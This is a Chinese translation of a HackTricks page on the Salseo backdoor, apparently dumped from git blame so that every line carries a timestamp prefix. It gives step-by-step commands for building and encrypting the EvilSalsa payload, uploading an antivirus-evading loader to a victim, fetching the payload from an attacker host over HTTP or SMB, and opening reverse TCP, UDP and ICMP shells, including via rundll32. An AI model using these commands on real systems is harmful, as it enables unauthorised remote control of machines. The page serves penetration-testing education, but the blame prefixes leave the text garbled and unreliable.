2022-08-04 20:47:35 +00:00
|
|
|
|
# Salseo
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
<summary>支持HackTricks</summary>
|
2023-12-30 12:15:15 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-18 17:33:27 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 编译二进制文件
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-01-10 06:29:36 +00:00
|
|
|
|
从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-03-29 21:06:45 +00:00
|
|
|
|
为将要使用它们的Windows系统架构编译这些项目(如果Windows支持x64,请为该架构编译)。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
您可以在Visual Studio中的**左侧"Build"选项卡**中的**"Platform Target"**中**选择架构**。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
(\*\*如果找不到这些选项,请点击**"Project Tab"**,然后点击**"\<Project Name> Properties"**)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-08-10 14:32:58 +00:00
|
|
|
|
![](<../.gitbook/assets/image (132).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-03-29 21:06:45 +00:00
|
|
|
|
然后,构建这两个项目(Build -> Build Solution)(日志中将显示可执行文件的路径):
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-09-27 00:14:52 +00:00
|
|
|
|
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 准备后门
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或者编译项目**EncrypterAssembly**:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-08-04 20:47:35 +00:00
|
|
|
|
### **Python**
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|
|
|
|
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
|
|
|
|
```
|
2022-08-04 20:47:35 +00:00
|
|
|
|
### Windows
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### Windows
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
|
|
|
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
|
|
|
|
```
|
2024-02-04 16:26:04 +00:00
|
|
|
|
现在你已经拥有执行所有Salseo操作所需的一切:**编码的EvilDalsa.dll**和**SalseoLoader的二进制文件。**
|
|
|
|
|
|
2024-03-29 21:06:45 +00:00
|
|
|
|
**将SalseoLoader.exe二进制文件上传到机器上。它们不应该被任何杀毒软件检测到...**
|
2024-02-04 16:26:04 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## **执行后门**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
### **获取TCP反向shell(通过HTTP下载编码的dll)**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
记得启动一个nc作为反向shell监听器,以及一个HTTP服务器来提供编码的evilsalsa。
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
|
|
|
|
```
|
2024-02-04 16:26:04 +00:00
|
|
|
|
### **获取UDP反向shell(通过SMB下载编码的dll)**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
记得启动一个nc作为反向shell监听器,并启动一个SMB服务器来提供编码的evilsalsa(impacket-smbserver)。
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
|
|
|
|
```
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### **获取 ICMP 反向 shell(已经在受害者内部编码的 dll)**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
**这次您需要在客户端上使用一个特殊工具来接收反向 shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-30 12:15:15 +00:00
|
|
|
|
#### **禁用 ICMP 回复:**
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|
|
|
|
|
|
|
|
|
#You finish, you can enable it again running:
|
|
|
|
|
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|
|
|
|
```
|
2024-07-18 17:33:27 +00:00
|
|
|
|
#### 执行客户端:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|
|
|
|
```
|
2024-02-04 16:26:04 +00:00
|
|
|
|
#### 在受害者内部,让我们执行salseo操作:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|
|
|
|
```
|
2024-07-18 17:33:27 +00:00
|
|
|
|
## 编译SalseoLoader作为导出主函数的DLL
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
使用Visual Studio打开SalseoLoader项目。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
### 在主函数之前添加:\[DllExport]
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-03-29 21:06:45 +00:00
|
|
|
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### 为此项目安装DllExport
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
#### **工具** --> **NuGet程序包管理器** --> **管理解决方案的NuGet程序包...**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-03-29 21:06:45 +00:00
|
|
|
|
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
#### **搜索DllExport包(使用浏览选项卡),然后按安装(并接受弹出窗口)**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-03-17 16:19:28 +00:00
|
|
|
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
在您的项目文件夹中会出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### **卸载DllExport**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
点击 **卸载**(是的,这很奇怪,但相信我,这是必要的)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-06-14 10:51:55 +00:00
|
|
|
|
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### **退出Visual Studio并执行DllExport\_configure**
|
2023-09-24 14:35:53 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
只需 **退出** Visual Studio
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
然后,转到您的 **SalseoLoader文件夹** 并 **执行DllExport\_Configure.bat**
|
2023-08-22 10:47:40 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
选择 **x64**(如果您将在x64系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport的命名空间** 中)并按 **应用**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-30 12:15:15 +00:00
|
|
|
|
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### **再次使用Visual Studio打开项目**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-04 16:26:04 +00:00
|
|
|
|
**\[DllExport]** 不应再被标记为错误
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-06-13 10:12:02 +00:00
|
|
|
|
![](<../.gitbook/assets/image (8) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-09-24 14:35:53 +00:00
|
|
|
|
### 构建解决方案
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
选择 **输出类型 = 类库**(项目 --> SalseoLoader属性 --> 应用程序 --> 输出类型 = 类库)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-10-22 15:26:54 +00:00
|
|
|
|
![](<../.gitbook/assets/image (10) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
选择 **x64平台**(项目 --> SalseoLoader属性 --> 构建 --> 平台目标 = x64)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-09-02 15:27:38 +00:00
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
要 **构建** 解决方案:构建 --> 构建解决方案(在输出控制台中将显示新DLL的路径)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
### 测试生成的Dll
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
将Dll复制粘贴到要测试的位置。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
执行:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
rundll32.exe SalseoLoader.dll,main
|
|
|
|
|
```
|
2024-02-04 16:26:04 +00:00
|
|
|
|
如果没有出现错误,那么你可能有一个功能正常的DLL!!
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-12-16 14:32:12 +00:00
|
|
|
|
## 使用DLL获取shell
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
不要忘记使用**HTTP** **服务器**并设置一个**nc** **监听器**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-08-04 20:47:35 +00:00
|
|
|
|
### Powershell
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
$env:pass="password"
|
|
|
|
|
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
|
|
|
|
$env:lhost="10.2.0.5"
|
|
|
|
|
$env:lport="1337"
|
|
|
|
|
$env:shell="reversetcp"
|
|
|
|
|
rundll32.exe SalseoLoader.dll,main
|
|
|
|
|
```
|
2024-01-10 06:29:36 +00:00
|
|
|
|
### CMD
|
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
CMD(Command Prompt)是Windows操作系统中的命令行界面。通过CMD,用户可以直接输入命令来与操作系统进行交互,执行各种操作,包括文件管理、网络配置、系统设置等。CMD也是许多后门和恶意软件用来执行命令并控制受感染系统的常见工具之一。
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
set pass=password
|
|
|
|
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
|
|
|
|
set lhost=10.2.0.5
|
|
|
|
|
set lport=1337
|
|
|
|
|
set shell=reversetcp
|
|
|
|
|
rundll32.exe SalseoLoader.dll,main
|
|
|
|
|
```
|
2024-07-18 17:33:27 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
<details>
|
2023-12-30 12:15:15 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 17:33:27 +00:00
|
|
|
|
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-18 17:33:27 +00:00
|
|
|
|
{% endhint %}
|